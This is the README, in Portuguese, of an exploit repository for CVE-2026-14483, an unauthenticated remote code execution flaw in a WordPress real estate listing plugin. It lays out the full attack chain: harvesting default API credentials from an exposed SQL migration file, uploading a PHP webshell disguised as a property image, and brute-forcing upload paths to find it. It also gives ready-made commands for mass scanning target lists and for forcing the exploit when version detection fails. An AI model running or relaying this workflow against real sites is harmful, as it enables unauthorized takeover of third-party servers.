madexploits/cve-2026-14483CVE-2026-14483 POC EXPLOIT BY MADEXPLOITS
Execução remota de código não autenticada contra o plugin WordPress Realtyna WPL Real Estate Listing.
| Campo | Detalhe |
|---|
| CVE | CVE-2026-14483 |
| Versão afetada | <= 5.2.0 |
| Plugin | real-estate-listing-realtyna-wpl |
| Impacto | Upload não autenticado de webshell PHP (RCE) |
| Script | CVE-2026-14483.py |
| Autor | MADEXPLOITS |
Por padrão, o script só explora alvos que executam o WPL 5.2.0. Use
--forcepara ignorar essa verificação.
api_key / api_secret padrão são expostas por meio de um dump público de migração SQL.set_property), permitindo que um arquivo PHP personalizado seja enviado como imagem de imóvel.wp-content/uploads/WPL/{property_id}/.pip install requests colorama
Crie um arquivo de texto com uma URL base por linha:
http://wplab.test
https://example.com
python CVE-2026-14483.py --targets targets.txt
As URLs de shell encontradas são anexadas a result.txt (ou --output).
python CVE-2026-14483.py \
--targets targets.txt \
--output result.txt \
--user-id 1 \
--max-id 1000 \
--timeout 30 \
--threads 5 \
--debug \
--force
| Argumento | Padrão | Descrição |
|---|---|---|
--targets | (obrigatório) | Arquivo com URLs base (uma por linha) |
--output | result.txt | Arquivo para anexar as URLs de shell encontradas |
--user-id | 1 | ID de usuário WordPress / WPL que possui o novo imóvel |
--payload | shell de upload integrada | String de payload PHP personalizada |
--max-id | 1000 | ID máximo de imóvel para força bruta ao localizar a shell |
--timeout | 30 | Timeout HTTP em segundos |
--threads | 5 | Threads de trabalho concorrentes |
--debug | desativado | Log de depuração detalhado |
--force | desativado | Explorar mesmo se a versão ≠ 5.2.0 ou se a versão não puder ser detectada |
Target URL
│
▼
Detect WPL version (readme.txt / wpl.php)
│ skip unless == 5.2.0 (or --force)
▼
Fetch api_key + api_secret from:
/wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql
│
▼
POST set_property via WPL I/O API
(upload image_0x89MADEXPLOITS.php as image/jpeg)
│
▼
Brute-force property ID 1..max-id
/wp-content/uploads/WPL/{id}/0x89MADEXPLOITS.php
│
▼
Write shell URL → output file
Marcador de shell padrão: MADEXPLOITS
Nome de arquivo remoto padrão: 0x89MADEXPLOITS.php
Alvo único de laboratório (neste workspace):
echo http://wplab.test > targets.txt
python CVE-2026-14483.py --targets targets.txt --debug
Varredura em massa com maior concorrência:
python CVE-2026-14483.py --targets targets.txt --threads 20 --output shells.txt
Forçar exploração quando a verificação de versão falhar:
python CVE-2026-14483.py --targets targets.txt --force
[+] Shell found: http://target/wp-content/uploads/WPL/32/0x89MADEXPLOITS.php
[*] Progress: 1/1 | Found: 1
[+] Done. Found 1 shell(s). Check 'result.txt' for URLs.
O result.txt contém uma URL de shell por linha.
Stable tag: / Version: no readme.txt do plugin, com fallback para wpl.php.--max-id.